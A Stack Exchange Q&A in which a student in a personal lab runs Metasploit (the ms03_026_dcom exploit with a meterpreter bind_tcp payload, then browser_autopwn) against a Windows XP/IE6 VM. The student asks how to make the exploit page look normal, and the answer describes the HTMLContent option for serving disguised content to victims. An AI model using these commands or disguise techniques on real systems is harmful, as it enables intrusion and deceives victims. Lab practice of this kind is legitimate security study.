1

I'm studying Ethical Hacking, using BindTCP on Metasploit, Kali Linux.

This video shows the steps, and I successfully exploited an unpatched Windows XP running a vulnerable IE 6 (on my personal VMWare network).

The premise is to get victim to visit a webpage. Doing this will allow attacker to get a meterpreter session, thereby accessing the victim machine.

But when the victim clicks the page, it is just blank, which itself raises suspicions.

Question: How to edit the webpage so it has normal looking content?

Here is what I did:

root > sudo msfconsole
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit (ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_tcp
msf exploit (ms03_026_dcom) > set RHOST 192.168.1.9
msf exploit (ms03_026_dcom) > set RPORT 445
msf exploit (ms03_026_dcom) > use auxiliary/server/browser_autopwn
msf auxiliary (browser_autopwn) > set LHOST 192.168.1.10
msf auxiliary (browser_autopwn) > exploit

.....

After finding exploits, it starts various servers along with links, then it concludes with

enter image description here

When I open the link in the victim machine (using IE 6), it starts the meterpreter session in Kali Linux,

enter image description here

but victim sees a blank webpage with the original web address. Please point me in the right direction. How do I even search for tutorials that show how to edit malicious webpage for victim. Thanks!

enter image description here

  • So you took time, described what you did, included snapshots (except for the last not really necessary), and finally asked a question "give me links to resources". This will likely get closed as the premise of StackExchange is to gather and provide knowledge not a reference to external resources, and such questions are off-topic. Have a look at the Help Center and update your question to be in-line with StackExchange vision/policies. – techraf Jul 23 '16 at 23:55
  • bind_tcp as opposed to reverse_tcp is a way of communicating the meterpreter (payload), it has absolutely nothing to do with the html page – Iraklis Jul 24 '16 at 8:57
  • @techraf I updated the question. I was trying to express that I don't know something, and am not sure what to even google for. However, a-darwin gave helpful answer. Thank you. – Rhonda Jul 24 '16 at 14:21
2

Browser Autopwn has a HTMLContent option, which allows you to show a custom page instead of the usual, blank one.

Quoting Rapid7:

The HTMLContent option allows you to serve a basic HTML web page to the browser instead of having a blank one. It supports two syntaxes:

set HTMLContent Hello world!

The above example will basically print "Hello world!" on the browser while exploits are tested against it. Here's another one:

set HTMLContent file://tmp/hello_world.html

The above example will load file /tmp/hello_world.html and that's what the browser will see. Most likely the second syntax is how you'd want to use the Content option.

Keep in mind that you should probably try to keep HTMLContent as simple as possible, otherwise there is a possibility that it might actually influence the reliability of the exploits, especially the ones that do memory corruption.

As an aside, this link is the first Google search result for "browser autopwn" "blank". I don't mean to be rude but I think that, before starting launching exploits left and right, you should be able to research issues on your own. Stackexchange and other forums can be useful, but when you're going to do this kind of thing as a job, you may not have enough time to wait for an answer.

Google (or DuckDuckgo, or similar alternatives)+man/show options/... will go a long way.

  • @a-darwin don't mean to be rude but Don't worry about it :-) Right now I am doing this as practice. Including practice of finding resources when in doubt. Your answer is helpful, thank you. – Rhonda Jul 24 '16 at 14:19

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.